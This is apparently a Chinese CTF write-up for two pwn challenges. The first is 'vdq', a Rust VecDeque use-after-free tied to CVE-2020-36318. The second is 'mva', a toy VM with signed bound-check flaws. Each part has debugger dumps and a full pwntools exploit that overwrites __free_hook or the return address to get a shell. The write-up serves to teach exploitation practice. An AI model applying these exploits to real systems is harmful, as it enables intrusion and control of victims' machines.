6
7
8
["Add", "Add", "Remove", "Archive", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove"]
$
Aa0Aa1Aa2Aa3Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A

调试定位崩溃位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  bt
#0 0x00007ffff7a22e87 in raise () from ./libc-2.27.so
#1 0x00007ffff7a247f1 in abort () from ./libc-2.27.so
#2 0x00007ffff7a6d837 in ?? () from ./libc-2.27.so
#3 0x00007ffff7a748ba in ?? () from ./libc-2.27.so
#4 0x00007ffff7a7c0ed in free () from ./libc-2.27.so
#5 0x000055555556d88e in alloc::alloc::dealloc (ptr=0x555555a38720, layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:92
#6 0x000055555556e07d in alloc::alloc::{{impl}}::dealloc (self=0x555555a38440, ptr=..., layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:225
#7 0x00005555555780c7 in alloc::raw_vec::{{impl}}::drop<u8,alloc::alloc::Global> (self=0x555555a38440) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/raw_vec.rs:504
#8 0x000055555556bc3f in core::ptr::drop_in_place<alloc::raw_vec::RawVec<u8, alloc::alloc::Global>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#9 0x000055555556be45 in core::ptr::drop_in_place<alloc::vec::Vec<u8>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#10 0x0000555555567596 in core::ptr::drop_in_place<vdq::Note> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#11 0x00005555555671d8 in core::ptr::drop_in_place<alloc::boxed::Box<vdq::Note>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#12 0x00005555555674a7 in core::ptr::drop_in_place<[alloc::boxed::Box<vdq::Note>]> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#13 0x00005555555678eb in alloc::collections::vec_deque::{{impl}}::drop<alloc::boxed::Box<vdq::Note>> (self=0x7fffffffd860) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/collections/vec_deque.rs:171
#14 0x0000555555567512 in core::ptr::drop_in_place<alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#15 0x00005555555622d9 in vdq::handle_opr_lst (opr_lst=...) at src/main.rs:106
#16 0x00005555555625cb in vdq::main () at src/main.rs:111

然后定位崩溃的位置

1
2
3
4
.text:000000000000E2CC loc_E2CC:                               ; CODE XREF: vdq::handle_opr_lst::h7fb2393547b96358+7DA↑j
.text:000000000000E2CC lea rdi, [rsp+80h] ; alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *
.text:000000000000E2D4 call _ZN4core3ptr13drop_in_place17hc78e8b893c128756E ; core::ptr::drop_in_place::hc78e8b893c128756
.text:000000000000E2D9 jmp short $+2

查了一下drop_in_place会释放掉内存,这里的这个container里面存了vdq::Note,推断很有可能一个容器里一个note出现了不止一次或者一个note同时出现在两个容器(notes和archived_notes)
接下来缩减一下fuzz得到的poc,首先考虑的是View,直觉上看view的功能应该只是打印一下内容,不会对触发漏洞造成太大的影响,但是从poc里去掉View了之后,崩溃就消失了,那么View很可能有重要的影响。

所以调整一下fuzzer,只使用三个操作Add, Remove, View,并且设定前几个操作只能Add,然后继续fuzz

1
2
3
4
5
6
7
8
9
10
["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add"]
$
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A
Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
Aa0A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2

拿到的一个比较好看的poc,之后的exp也是基于它编写

看看View的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
case 4u:
core::fmt::Arguments::new_v1::h44adc30b070cf8c4(
&v43,
(___str_)__PAIR128__(1LL, &off_7BBC0),
(__core::fmt::ArgumentV1_)((unsigned __int64)&needle.data_ptr + 7));
std::io::stdio::_print::h0d31d4b9faa6e1ec();
alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(
(_mut__alloc::boxed::Box<vdq::Note>_ *)&notes,
(alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *)&off_7BBC0);
p_notes = (unsigned __int64)&notes;
alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v44, &notes);
core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, (vdq::handle_opr_lst::closure_0)&v44);
break;

看不懂,这里分别搜索printiterator::for_eachmake_contiguous的vulnerability,搜到了 CVE-2020-36318. 根据容器的结构继续分析

1
2
3
4
5
6
7
8
00000000 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> struc ; (sizeof=0x20, align=0x8, copyof_185)
00000000 ; XREF: _ZN3vdq14handle_opr_lst17h7fb2393547b96358E/r
00000000 tail dq ?
00000008 head dq ?
00000010 buf alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> ?
00000010 ; XREF: vdq::handle_opr_lst::h7fb2393547b96358:loc_DC0C/o
00000020 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> ends
00000020

通过调试可以发现,deque的初始容量是4,当容器满后,capacity会翻倍,tail指向低地址尾部,head指向高地址头部

1
2
3
4
5
6
7
gef➤  x/3xg $rdi
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000002
0x7ffc94dee2b0: 0x000055c3e6e5ffa0

gef➤ x/4xg 0x7ffc94dee2a0
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000004
0x7ffc94dee2b0: 0x000055c3e6e600f0 0x0000000000000008

同时可以发现,pop之后,容器对应的index不会立刻清除,而是移动了tail

1
2
3
4
5
6
gef➤  x/4xg $rdi
0x7ffe849e3740: 0x0000000000000001 0x0000000000000003
0x7ffe849e3750: 0x00005607f06c2fb0 0x0000000000000004
gef➤ x/16xg 0x00005607f06c2fb0
0x5607f06c2fb0: 0x00005607f06c2fe0 0x00005607f06c3030
0x5607f06c2fc0: 0x00005607f06c3080 0x0000000000000000

调试poc,观察view前后的变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
gef➤  x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577020
0x555a63576f90: 0x0000555a63577070 0x0000555a63576fd0

gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000001 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤

gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤

gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000006
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020 # 出现两个一样的地址
0x555a63576fa0: 0x0000555a63577070 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤

综上(虽然不知道漏洞具体的细节)但是我们可以得到利用策略如下

  • UaF一个大chunk,View得到libcbase,freehook,system等等地址
  • 再次UaF,利用输入时的get_raw_line会申请一块地址存放输入数据的特性,控制大小,申请到一个vdq::Note(并且由于UaF,这个Note现在处于使用中),修改掉对应的buffer的地址到freehook上,注意要加一个偏移量,因为append会在buffer的后面添加数据,让buffer的末尾刚好在freehook就行
  • 使用Append,修改freehook为system,然后随便使用一个会调用get_raw_line的功能,输入/bin/sh即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

sh = process("./vdq")

op = """
[
"Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View",
"Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
]
$
"""

# "Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View", UaF a big chunk
# "Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
# Add: create new note at index 1(UaF index 0)
# Remove: Remove index 0
# Append: use append to allocate vdq::Note(at index 1) from tcache
# change the buffer pointer
# Append: append again to write freehook
# Add: profit

sh.send(op.encode())
sleep(1)
sh.sendline(b"a"*0x1)
sh.sendline(b"b"*0x1)
sh.sendline(b"c"*0x1)
sh.sendline(b"d"*0x1)
sh.sendline(b'e'*0x800)
sh.sendline(b'f'*0x300)

sh.recvuntil(b"Removed note [5]")
sh.recvuntil(b"-> ")
ret = sh.recv(12).decode()
addr = ret[-2:]+ret[-4:-2]+ret[-6:-4]+ret[-8:-6]+ret[-10:-8]+ret[-12:-10]
addr = int(addr, 16)
log.success("leak addr: " + hex(addr))
libcaddr = addr - 0x3ebca0
freehook = libcaddr + 0x3ed8e8
freehook_offset = freehook - 0x2a # offset
system = libcaddr + 0x4f420
log.success("libc addr: " + hex(libcaddr))
log.success("freehook: " + hex(freehook))

sh.sendline(b'a'*5) # to tcache[0x340]
sh.sendline(p64(freehook_offset) * 3 + p64(0))
sh.sendline(p64(system))
sh.sendline(b'/bin/sh')

sh.interactive()

mva

给定的程序实现了一个vm,指令长度4 bytes,可以发现,在mul时没有检测操作数大小,导致越界读取

1
2
3
4
5
6
7
case 0xDu:
if ( BYTE2(instruction) >= 6u )
exit(0);
if ( (unsigned __int8)instruction >= 6u )
exit(0);
reg[SBYTE2(instruction)] = reg[SBYTE1(instruction)] * reg[(char)instruction];
break;
1
movsx   eax, [rbp+var_249]

从汇编可以看出,可以传入负数,然后读出栈上的其它数据,然后再看

1
2
3
4
5
6
7
case 0xEu:
if ( BYTE2(instruction) >= 6u )
exit(0);
if ( SBYTE1(instruction) > 5 )
exit(0);
reg[SBYTE1(instruction)] = reg[SBYTE2(instruction)];
break;

这里对第一个操作数的大小检查带符号,所以可以用负数绕过,达到越界写,这样我们可以覆盖虚拟机栈指针,虽然这只能写入一个负数,但是通过

1
mov     [rbp+rax*2+stack], dx

rax*2可以引发整数溢出,再次把数值变为正数,从而将虚拟机栈顶指向返回地址,完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

sh = process('./mva')

def load(reg, val):
command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
return command

def add(reg, op1, op2):
command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
return command

def sub(reg, op1, op2):
command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
return command

def mul(reg, op1, op2):
command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
return command

def mov(reg, op1, op2):
command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
return command

def push():
command = p8(0x09) + p8(0) * 3
return command

def pop():
command = p8(0x0A) + p8(0) * 3
return command

def view():
command = p8(0xf) + p8(0) * 3
return command

def inverse(num):
return (~(num-1) & 0xFF)

payload = load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(124), 0) # reg[0] = reg[-124] * reg[0]

payload += load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(122//2), 0)# reg[0] = reg[-125] * reg[0]
payload += load(2, 0x0006) # reg[2] = 0x0011
payload += add(1, 0, 2) # reg[1] = reg[0] + reg[2]

payload += load(0, 0x1) # reg[0] = 0x1
payload += mul(0, inverse(124//2), 0)# reg[0] = reg[-126] * reg[0]
payload += load(3, 0xf567) # reg[3] = 0x9b72
payload += add(2, 0, 3) # reg[2] = reg[0] + reg[3]


# payload += pop()
payload += load(0, 0x8000) # reg[0] = 0x8000
payload += mov(0, inverse(0x07), 0) # reg[-0x07] = reg[0]
payload += load(0, 0) # reg[0] = 0
payload += mov(0, inverse(0x08), 0) # reg[-0x08] = reg[0]
payload += load(0, 0) # reg[0] = 0
payload += mov(0, inverse(0x09), 0) # reg[-0x09] = reg[0]
payload += load(0, 0x010c) # reg[0] = 0x10c
payload += mov(0, inverse(0x0a), 0) # reg[-0x0a] = reg[0]

payload += mov(0, 0, 2) # reg[0] = reg[2]
payload += push() # push reg[0]
payload += mov(0, 0, 1) # reg[0] = reg[1]
payload += push() # push reg[0]

# 0x1ed6a0 0x845ca

payload += (0x100 - len(payload)) * b'\x00'
print(payload)

sh.sendline(payload)

sh.interactive()